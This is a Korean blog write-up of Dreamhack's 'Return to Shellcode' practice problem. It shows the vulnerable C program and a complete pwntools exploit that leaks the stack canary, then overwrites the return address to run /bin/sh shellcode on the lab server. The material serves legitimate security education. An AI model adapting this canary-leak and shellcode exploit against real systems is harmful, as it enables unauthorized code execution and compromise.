외로운 Nova의 작업실

dreamhack 시스템해킹 - 11(Return to Shellcode 문제 풀이) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 11(Return to Shellcode 문제 풀이)

Nova_ 2023. 1. 19. 21:38

안녕하세요. 이번시간에는 드림핵 Return to Shellcode 문제풀이를 해보도록 하겠습니다.

 

- 문제인식

 

강의해서 실습하는 거라 별다른 문제정보는 없습니다. 특히나 지금 wsl로는 실행파일을 다운로드 하지 못해서 checksec을 하기 어려운 부분이 있으므로 강의를 참고하겠습니다.

환경을 보게되면 amd64 아키텍쳐 즉 x8-64 명령어 셋을 사용하고 있습니다. Full RELRO로 BSS를 제외한 곳에 write이 안되지만 스택을 건드릴 것이므로 괜찮습니다. 카나리를 사용중이고 NX가 사용중이지 않아서 스택에 쉘코드를 넣고 실행해야할 것 같습니다. PIE가 실행중이여서 실행마다 buf의 주소는 변할 것 같습니다. 이제 코드를 보겠습니다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);	//2진수로 출력해줍니다.
  printf("Distance between buf and $rbp: %ld\n",  //10진수로 출력해줍니다.
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);		//\n을 주지않아도 입력을 받아드립니다.
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);		//\n을 줘야 입력을 받아드립니다.

  return 0;
}

보게되면 buf의 값을 print로 주기때문에 PIE가 실행중이여도 상관없습니다. 또한 입력값을 2번주기때문에 카나리 우회가 가능할 것 같습니다. 익스플로잇 해보겠습니다.

 

- 익스플로잇

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);	//16진수로 출력해줍니다.
  printf("Distance between buf and $rbp: %ld\n",  //10진수로 출력해줍니다.
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);		//\n을 주지않아도 입력을 받아드립니다.
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);		//\n을 줘야 입력을 받아드립니다.

  return 0;
}

위 코드를 참고하여 파이썬으로 익스플로잇 코드를 짜보면 아래와 같이됩니다.

from pwn import *

p = remote("host3.dreamhack.games",18284)

context.arch = 'amd64'

p.recvuntil("buf: ")
buf = p.recvline()[:-1] #입력값에서 마지막\n을 없애고 받습니다.
print(buf)
buf = int(buf, 16)	#16진수로 주기때문에 정수로 변환해줍니다.

p.recvuntil("rbp: ")
distance = p.recvline()[:-1] #입력값에서 마지막 \n을 없애고 받습니다.
print(distance)		
rbpDistance = int(distance)	#10진수로 주기때문에 base를 바꾸지않고 받습니다.
print(rbpDistance)

canaryDistance = rbpDistance - 8 # canary - sfp - ret 순이기때문에 8을 빼줍니다.
print(canaryDistance)

payload = b"A" * (canaryDistance + 1) #카나리의 null을 없애주기위해 +1을 더해줍니다.
print(payload)
p.sendafter("Input:", payload)	#sendafter은 마지막에 \n을 넣지않습니다.
print(p.recvuntil(payload))

sevencanary = p.recvn(7)
print(sevencanary)
canary = u64(b"\x00"+ sevencanary)
print(p64(canary))

code = asm(shellcraft.sh()) #amd64 쉘코드를 만듭니다.

payload = code.ljust(canaryDistance, b"A") + p64(canary) + b"A" * 0x8 + p64(buf)

p.sendlineafter("Input:", payload) #sendlineafter은 마지막에 \n을 붙여서 send합니다.

p.interactive()

실행시켜보겠습니다.

성공적으로 쉘을 얻어낼 수 있습니다. 또한 카나리값은 '\x00\x9d@s\xdc\xf5;\xb6' 인것을 알 수 있습니다. 또한 buf에서 sfp까지의 거리는 96이였고 카나리까지의 거리는 88인것을 알 수 있습니다.

Comments